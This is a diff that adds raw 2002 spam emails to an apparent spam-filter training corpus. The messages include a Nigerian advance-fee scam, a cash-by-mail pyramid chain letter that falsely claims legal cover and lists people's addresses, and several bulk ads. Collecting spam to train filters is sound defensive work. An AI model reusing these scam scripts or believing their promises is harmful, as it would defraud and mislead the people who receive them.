+MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Message-Id: <20020722093416.06CC5294098@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Friends of Rohit Khare +X-Beenthere: fork@spamassassin.taint.org +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6MFIT903053 +Content-Transfer-Encoding: 8bit + +FROM THE DESK OF:DR.OLUFEMI COKER, +ECONOMIC RECOVERY COMMITTEE, +FEDERAL SECRETARIAT, +LAGOS-NIGERIA. + + +FOR YOUR KIND ATTENTION, + +BUSINESS PROPOSAL: TRANSFER OF US$ 22.5 M (TWENTY TWO +MILLION, FIVE HUNDRED THOUSAND UNITED STATES DOLLARS) +& BUSINESS INVESTMENTS PARTNERSHIP. + +First, I must solicit your strictest confidence in +this transaction, this is by virtue of it's nature as +being utterly confidential and top secret as you were +introduced to us in confidence through the Nigerian +Chamber of Commerce, foreign trade division. + + I am the chairman of the Economic Recovery Committe +(ERC) set up by the present civilian Government of +Nigeria to review contracts awarded by the past +military administration. + +In the course of our work at the ERC, we discovered +this fund which resulted from gross re-valuation of +contracts by top government officials of the last +administration. The companies that executed the +contracts have been duly paid and the contracts +commissioned leaving the sum of US$22.5 Million +floating in the escrow account of the Central Bank of +Nigeria ready for payment. + +I have therefore been mandated as a matter of trust by +my colleagues in the committee to look for an overseas +partner to whom we could transfer the sum of US$22.5M +legally subcontracting the entitlement to you/your +company. This is bearing in mind that our civil +service code of conduct forbids us from owning +foreign company or running foreign account while in +government service hence the need for an overseas +partner. + +We have agreed that the funds will be shared thus +after it has been paid into your account: +(1) 25% of the money will go to you for acting as the +beneficiary of the fund. +(2) 5% has been set aside as an abstract projection +for reimbursment to both parties for incidental +expences that may be incurred in the course of the +transaction. +(3) 70% to us the government officials (with which we +wish to commence an importation business in +conjunction with you ). + +All logistics are in place and all modalities worked +out for the smooth conclusion of the transaction +within ten to fourteen days of commencement after +receipt of the following information: Your full +name/ company name, address, company's details & +activities, telephone & fax numbers. + +These information will enable us make the applications +and lodge claims to the concerned ministries & +agencies in favour of your company and it is pertinent +to state here that this transaction is entirely based +on trust as the solar bank draft or certified cheque +drawable in any of the Central Bank of Nigeria +correspondent bankers in America, Asia and Europe is +going to be made in your name.Please acknowledge the +receipt of this letter using my personal E-mail +address. + +Yours Faithfully, + +DR.OLUFEMI COKER. + + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/00920.1534b1c21a196693709357a2a93cacdd b/bayes/spamham/spam_2/00920.1534b1c21a196693709357a2a93cacdd new file mode 100644 index 0000000..08db675 --- /dev/null +++ b/bayes/spamham/spam_2/00920.1534b1c21a196693709357a2a93cacdd @@ -0,0 +1,155 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N6pDhY042891 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 01:51:14 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6N6pDvj042887 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 01:51:13 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N6p5hY042812 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 01:51:07 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6N6p4J94759 + for ; Tue, 23 Jul 2002 02:51:04 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6N6p3q09590 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 02:51:03 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6N6p2R09567 + for ; Tue, 23 Jul 2002 02:51:02 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6N6p1J94740 + for ; Tue, 23 Jul 2002 02:51:01 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id BAA00908 + for cpunks@minder.net; Tue, 23 Jul 2002 01:59:32 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id BAA00837 + for cypherpunks-outgoing; Tue, 23 Jul 2002 01:58:06 -0500 +Received: from 198.64.154.12-generic ([198.64.154.12]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id BAA00780 + for ; Tue, 23 Jul 2002 01:56:41 -0500 +Message-Id: <200207230656.BAA00780@einstein.ssz.com> +Content-Disposition: inline +Content-Transfer-Encoding: 7bit +Content-Type: text/html +MIME-Version: 1.0 +Date: Tue, 23 Jul 2002 06:48:05 UT +X-X: H4F%N9&]M259/G#.+LJU9SN6ZH]J=?%^1@?,[>T@L(W?T8/+3\L&RS0`` +Old-Subject: CDR: Friend, Meet over 1 million singles at Date.com +X-List-Unsubscribe: +From: "Only the Best" +X-Stormpost-To: cypherpunks@einstein.ssz.com 7552100 336 +To: "Friend" +X-Mailer: StormPost 1.0 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Friend, Meet over 1 million singles at Date.com + + + + + + + +
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    + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00921.548fb6dd2244c2fe87079df9652ddc2c b/bayes/spamham/spam_2/00921.548fb6dd2244c2fe87079df9652ddc2c new file mode 100644 index 0000000..51afd56 --- /dev/null +++ b/bayes/spamham/spam_2/00921.548fb6dd2244c2fe87079df9652ddc2c @@ -0,0 +1,190 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N6mBhY041520 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 01:48:11 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6N6mB58041515 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 01:48:11 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N6lwhX041413 + for ; Tue, 23 Jul 2002 01:48:04 -0500 (CDT) + (envelope-from cpunks@ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id BAA00727 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 01:56:31 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id BAA00676 + for cypherpunks-outgoing; Tue, 23 Jul 2002 01:55:04 -0500 +Received: from einstein.ssz.com ([211.202.82.114]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id BAA00666 + for cypherpunks@einstein.ssz.com; Tue, 23 Jul 2002 01:54:45 -0500 +Date: Tue, 23 Jul 2002 01:54:45 -0500 +Message-Id: <200207230654.BAA00666@einstein.ssz.com> +To: +From: ºÎµ¿»êÁ¤º¸³ª¶ó +Subject: [±¤°í]ºÎµ¿»êÁ¤º¸ ¹Þ¾Æº¸¼¼¿ä +Content-Type: text/html;charset=ks_c_5601-1987 +Sender: owner-cypherpunks@ssz.com +Precedence: bulk +Reply-To: cypherpunks@ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6NEaShX026537 + + + + + + +=BA=CE=B5=BF=BB=EA=C1=A4=BA=B8=B3=AA=B6=F3 + + + + + + + + + + + + + + + + + + + + +
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    + + + +ugwwlrlujryqgveswijfmhb + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00924.3b34d4e598f24957151e368efcfb069b b/bayes/spamham/spam_2/00924.3b34d4e598f24957151e368efcfb069b new file mode 100644 index 0000000..b8161e3 --- /dev/null +++ b/bayes/spamham/spam_2/00924.3b34d4e598f24957151e368efcfb069b @@ -0,0 +1,68 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N8RbhY081370 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 03:27:38 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6N8Rb5u081366 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 03:27:37 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N8RQhX081286 + for ; Tue, 23 Jul 2002 03:27:31 -0500 (CDT) + (envelope-from cpunks@ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id DAA03310 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 03:35:55 -0500 +Received: from hal2.bizland-inc.net (mail2.bizland-inc.net [64.28.88.158]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id DAA03302 + for ; Tue, 23 Jul 2002 03:35:53 -0500 +Received: from monkfish.int.bizland.net ([10.1.1.200] helo=mail2.bizland-inc.net) + by hal2.bizland-inc.net with esmtp (Exim 3.36 #1) + id 17Wv09-0001g5-00 + for cpunks@einstein.ssz.com; Tue, 23 Jul 2002 04:26:37 -0400 +Received: (from wwwuser@localhost) + by mail2.bizland-inc.net (8.11.6/8.11.6) id g6N8QZK04732; + Tue, 23 Jul 2002 04:26:35 -0400 +Date: Tue, 23 Jul 2002 04:26:35 -0400 +Message-Id: <200207230826.g6N8QZK04732@mail2.bizland-inc.net> +To: cpunks@einstein.ssz.com +From: seni@istiyorum.com +Subject: Internet ve Para +MIME-Version: 1.0 +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6NEalhX026710 + +CashIC.com =DDnternetten para kazandiran, en onemlisi Turkiye ye de odeme= + yapan bir sponsor. Uye olmak icin internetsitenizin olmas=FD da gerekmiy= +or, herkes uye olup para kazanabilir. +Uye olduktan sonra 6 degisik sek=FDlde para kazanmaya basliyor ve her ay = +basinda ne kadar kazandiysaniz odemezi 10 gun =FDc=FDnde cek olarak aliyo= +rsunuz! Internetten para kazanmak istiyenler icin kacirilmamasi gereken b= +ir firsat!!! +Attaki linke t=FDkladiktan sonra acilan sayfadan "Join Now" yazan yere ti= +klayip acilan formu doldurun & Kazanmaya baslayin !!!! +Click here: http://www.clickXchange.com/er.phtml?act=3D153133.60 + + + + + +- + +-------------------------------------------------------------------- + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00925.6ba2770acb214c661a26e54b4d03c119 b/bayes/spamham/spam_2/00925.6ba2770acb214c661a26e54b4d03c119 new file mode 100644 index 0000000..87cded5 --- /dev/null +++ b/bayes/spamham/spam_2/00925.6ba2770acb214c661a26e54b4d03c119 @@ -0,0 +1,57 @@ +From submit27@desertmail.com Wed Jul 24 02:48:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 50573440CC + for ; Tue, 23 Jul 2002 21:48:09 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 24 Jul 2002 02:48:09 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6O1hU410286 for + ; Wed, 24 Jul 2002 02:43:31 +0100 +Received: from desertmail.com (cr2006816739.cable.net.co [200.68.167.39] + (may be forged)) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with SMTP + id g6O1gLp16765 for ; Wed, 24 Jul 2002 02:42:30 +0100 +Reply-To: +Message-Id: <036c08e33a5a$4647d6b4$3dd11ea5@yapnpv> +From: +To: Website@netnoteinc.com +Subject: ADV: Search Engine Placement +Date: Tue, 23 Jul 0102 17:15:40 +0800 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: QUALCOMM Windows Eudora Version 5.1 +Importance: Normal +Content-Transfer-Encoding: 8bit + +To remove see below. + +I work with a company that submits +web sites to search engines and saw +your listing on the internet. + +We can submit your site twice a month +to over 400 search engines and directories +for only $29.95 per month. + +We periodically mail you progress +reports showing where you are ranked. + +To get your web site in the fast lane +call our toll free number below! + +Sincerely, + +Brian Waters +888-892-7537 + + +* All work is verified + + +To be removed call: 888-800-6339 X1377 + + diff --git a/bayes/spamham/spam_2/00926.c6a5ef577e62317b785c4511b7f5c94e b/bayes/spamham/spam_2/00926.c6a5ef577e62317b785c4511b7f5c94e new file mode 100644 index 0000000..3cf0ffe --- /dev/null +++ b/bayes/spamham/spam_2/00926.c6a5ef577e62317b785c4511b7f5c94e @@ -0,0 +1,95 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NEOkhY021592 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 09:24:46 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NEOjTa021587 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 09:24:45 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NEOhhY021557 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 09:24:44 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6NEOgJ21455 + for ; Tue, 23 Jul 2002 10:24:42 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NEOfm07291 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 10:24:41 -0400 +Received: (from majordom@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6NEOZ207271 + for cypherpunks-outgoing; Tue, 23 Jul 2002 10:24:35 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6NEONR07257; + Tue, 23 Jul 2002 10:24:23 -0400 +Received: from yahoo.com ([211.192.139.69]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6NEOJJ21431; + Tue, 23 Jul 2002 10:24:20 -0400 (EDT) + (envelope-from latest7805q42@yahoo.com) +Reply-To: +Message-ID: <000d33d23b2e$3544a6a5$6bd52ad7@jhbwdi> +From: +To: AOL.Users@locust.minder.net +Subject: State of the art long distance 7325ZMhY2-201HEQY5778-20 +Date: Tue, 23 Jul 2002 12:07:33 +0200 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +Importance: Normal +Sender: owner-cypherpunks@minder.net +Precedence: bulk + + + +

    Hi:
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    + +2032UFYD2-959lOlR2290WEYy6-444nUHE5892loyf3-037iQUI9771WgxC8-113WmiB1248QRl70 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00927.9505a4791424d2a96af8d75baeaa7f58 b/bayes/spamham/spam_2/00927.9505a4791424d2a96af8d75baeaa7f58 new file mode 100644 index 0000000..39e49f3 --- /dev/null +++ b/bayes/spamham/spam_2/00927.9505a4791424d2a96af8d75baeaa7f58 @@ -0,0 +1,359 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N6gRhY039278 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 01:42:27 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6N6gRDt039276 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 01:42:27 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6N6gOhY039234 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 01:42:25 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6N6gJJ94027 + for ; Tue, 23 Jul 2002 02:42:19 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6N6gIq08742 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 02:42:18 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6N6gDR08723 + for ; Tue, 23 Jul 2002 02:42:13 -0400 +Received: from hotmail.com ([211.248.238.126]) + by locust.minder.net (8.11.6/8.11.6) with SMTP id g6N6g9J94015 + for ; Tue, 23 Jul 2002 02:42:10 -0400 (EDT) + (envelope-from interpol10000@hotmail.com) +Reply-To: +Message-ID: <033a80c55d3b$1867a8e8$4be87bc1@ojrqei> +From: +To: My.Friend@locust.minder.net +Subject: Easy to make from $200,000 every 7 months +Date: Tue, 23 Jul 0102 08:14:27 -0200 +MiME-Version: 1.0 +Content-Type: text/html; charset="iso-8859-1" +X-Priority: 3 (Normal) +X-MSMail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2616 +Importance: Normal + + + +Easy to make "Between $200,000 and $500,000 every seven months + + + + + + + +
    +

    Easy to make "Between +$200,000 and $500,000 every seven months

    ***Under Bill S.1618 +TITLE III passed by the 105th U.S. Congress this letter Can Not be +Considered Spam as long as we include the way to be +removed.

    //////////////////////////////////////////////////////////////////////////////
    This +message is sent in compliance with the new e-mail bill: SECTION 301. Sender: +"Per Section 301, Paragraph (a)(2)(C) of S. 1618, further transmissions to you +by sender of this email may be stopped, at no cost to you, by sending a reply to +this email address with the word "remove" in the subject +line."
    ///////////////////////////////////////////////////////////////////////////////

    Dear +Friends

    AS SEEN ON NATIONAL +TV:  Making over half million +dollars every 4 to 5 months from your home for an investment of only $25 U.S. +Dollars expense one time THANK'S TO THE COMPUTER AGE AND THE INTERNET +!

    ==================================================

    BE IN GOOD MONEY WITHIN A YEAR!!!

    Before +you say ''Bull'', please read the following. This is the letter you have been +hearing about on the news lately. Due to the popularity of this letter on the +Internet, a national weekly news program recently devoted an entire show to the +investigation of this program described below, to see if it really can make +people money. The show also investigated whether or not the program was +legal.

    Their findings proved once and for all that there are ''absolutely +NO Laws prohibiting the participation in the program and if people can -follow +the simple instructions, they are bound to make some money with only $25 out of +pocket cost''.

    DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT +THIS PROGRAM HAS ATTAINED,  IT IS +CURRENTLY WORKING BETTER THAN EVER.

    This is what one had to say: +

    "I was approached many times before but each time I passed on it. I am +so glad I finally joined just to see what one could expect in return for the +minimal effort and money required. To my astonishment, I received total +$610,470.00 in 21 weeks, with money still coming in."

    Pam Hedland, Fort +Lee, New +Jersey.

    ===================================================

    Here +is another testimonial:

    "This program has been around for a long time +but I never believed in it. But one day when I received it again in the mail I +decided to gamble my $25 on it. I followed the simple instructions and walaa +.... 3 weeks later the money started to come in.

     The first month +I only made $240.00 but the next 2 months after that I made a total of +$290,000.00. So far, in the past 8 months by re-entering the program, I have +made over $710,000.00 and I am playing it again. The key to success in this +program is to follow the simple steps and NOT change anything."

    More +testimonials later but first,

    ===== PRINT THIS NOW FOR YOUR FUTURE +REFERENCE +======
    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
    If +you would like to make at least $500,000 every 4 to 5 months easily +and
    comfortably, please read the following...THEN READ IT AGAIN and +AGAIN!!!
    $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

    FOLLOW +THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, +GUARANTEED!

    INSTRUCTIONS:

    =====Order all 5 reports shown on the list below +=====
    For each report, send $5 CASH, THE NAME & NUMBER OF THE +REPORT
    YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name +appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON +YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems.

    === When +you place your order, make sure you order each of the 5 reports.  You will need all 5 reports so that you +can save them on your computer and resell them. YOUR TOTAL COST $5 X +5=$25.00.

    Within a few days you will receive, via e-mail, each of the 5 +reports from these 5 different individuals. Save them on your computer so they +will be accessible for you to send to the 1,000's of people who will order them +from you. Also make a floppy of these reports and keep it on your desk in case +something happens to your computer.

    IMPORTANT - DO NOT alter the names of +the people who are listed next to each report, or their sequence on the list, in +any way other than what is instructed below in step '' 1 through 6 '' or you +will lose out on a majority of your profits. Once you understand the way this +works, you will also see how it does not work if you change it. Remember, this +method has been tested, and if you alter it, it will NOT work !!! People have +tried to put their friends/relatives names on all five thinking they could get +all the money. But it does not work this way. Believe us, we all have tried to +be greedy and then nothing happened. So Do Not try to change anything other than +what is instructed. Because if you do, it will not work for you.  Remember, honesty reaps the +reward!!!

    1.... After you have ordered all 5 reports, take this +advertisement and REMOVE the name & address of the person in REPORT # 5. +This person has made it through the cycle and is no doubt counting their +fortune.

    2.... Move the name & address in REPORT # 4 down TO REPORT # +5.

    3.... Move the name & address in REPORT # 3 down TO REPORT # +4.

    4.... Move the name & address in REPORT # 2 down TO REPORT # +3.

    5.... Move the name & address in REPORT # 1 down TO REPORT # +2

    6.... Insert YOUR name & address in +the REPORT # 1 Position. PLEASE +MAKE
    SURE you copy every name & address +ACCURATELY!

    ==========================================================

    **** +Take this entire letter, with the modified list of names, and save it on your +computer. DO NOT MAKE ANY OTHER CHANGES.

    Save this on a disk as well just +in case if you loose any data. To assist you with marketing your business on the +internet, the 5 reports you purchase will provide you with invaluable marketing +information which includes how to send bulk e-mails legally, where to find +thousands of free classified ads and much more. There are 2 Primary methods to +get this venture going:

    METHOD # 1: BY SENDING BULK E-MAIL +LEGALLY
    ==========================================================
    Let's +say that you decide to start small, just to see how it goes, and we will assume +You and those involved send out only 5,000 e-mails each. Let's also assume that +the mailing receive only a 0.2% response (the response could be much better but +lets just say it is only 0.2%. Also many people will send out hundreds of +thousands e-mails instead of only 5,000 each).
    Continuing with this example, +you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders +for report # 1.

    Those 10 people responded by sending out 5,000 e-mail +each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with +orders. That's=100 people responded and ordered Report # 2.

    Those 100 +people mail out 5,000 e-mails each for a total of 500,000 e-mails.  The 0.2% response to that is 1000 orders +for Report # 3.

    Those 1000 people send out 5,000 e-mails each for a total +of 5 million e-mails sent out. The 0.2% response to that is 10,000 orders for +Report # 4.

    Those 10,000 people send out 5,000 e-mails each for a total +of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders +for Report #5

    THAT'S 100,000 ORDERS TIMES $5 EACH=$500,000.00 (half +million).
    Your total income in this example is:
    1..... $50 + 2..... $500 ++ 3..... $5,000 + 4.... $50,000 + 5..... $500,000 

    +

    Grand Total=$555,550.00

    NUMBERS DO NOT LIE. GET A +PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW +YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY +!

    =========================================================

    REMEMBER +FRIENDS, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED +TO.  Dare to think for a moment what +would happen if everyone or half or even one 4th of those people mailed 100,000 +e-mails each or more? There are over 150 million people on the Internet +worldwide and counting. Believe me, many people will do just that, and +more!

    METHOD #2: BY PLACING FREE ADS ON THE +INTERNET
    =======================================================
    Advertising +on the net is very very inexpensive and there are hundreds of FREE places to +advertise. Placing a lot of free ads on the Internet will easily get a larger +response. We strongly suggest you start with Method # 1 and add METHOD # 2 as +you go along. For every $5 you receive, all you must do is e-mail them the +Report they ordered. That's it. Always provide same day service on all orders. +This will guarantee that the e-mail they send out, with your name and address on +it, will be prompt because they can not advertise until they receive the +report.

    =========== AVAILABLE REPORTS ====================
    ORDER EACH +REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) +for each Report. Checks NOT accepted. Make sure the cash is concealed by +wrapping it in at least 2 sheets of paper. On one of those sheets of paper, +Write the NUMBER & the NAME of the Report you are ordering, YOUR E-MAIL +ADDRESS and your name and postal address.

    PLACE YOUR ORDER FOR THESE +REPORTS NOW!!
    ====================================================


     +


    REPORT # 1: The Insider's Guide to Advertising for +Free on the Net

    Order Report #1 from:
    B.H.
    218 Timberwood
    Irvine, +Cal  92620

    +

    USA

    +


     ________________________________________________________
    REPORT +# 2: The Insider's Guide to Sending Bulk E-mail on the Net

    Order +Report # 2 from:
     J.B. +Erhart
    722 10th Street
    Paso Robles, CA. +93446
    USA
    _________________________________________________________________
    REPORT +# 3: Secrets to Multilevel Marketing on the Net

    Order Report # 3 +from:
    S.W.
    131 E. Eden
    Fresno, Cal. +93706
    USA
    ______________________________________________________________
    REPORT +# 4: How to Achieve Financial Independence in a Global +Economy

    +

    Order Report # 4 from:
    F.L.

    +

    225 Bridlecreek Park S.W.

    +

    Calgary, Alberta, CA

    +

    T2Y 3P1

    +


    ________________________________________________________________
    REPORT +#5: How to Send Out 0ne Million Emails For Free

    Order Report # 5 +from:

    +

    K.H.

    +

    2025 Red River Road

    +

    Sykesville, MD  +21784

    +

    USA

    ________________________________________________________________________


     +


    $$$$$$$$$ YOUR SUCCESS +GUIDELINES $$$$$$$$$$$

    Follow these guidelines to guarantee +your success:

    === If you do not receive at least 10 orders for Report #1 +within 2 weeks, continue sending e-mails until you do.

    === After you have +received 10 orders, 2 to 3 weeks after that you should receive 100 orders or +more for REPORT # 2. If you did not, continue advertising or sending e-mails +until you do.

    === Once you have received 100 or more orders for Report # +2, YOU CAN RELAX, because the system is already working for you, and the cash +will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name +is moved down on the list, you are placed in front of a Different +report.

    You can KEEP TRACK of your PROGRESS by watching which report +people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER +BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN.  There is NO LIMIT to the income you can +generate from this business +!!!
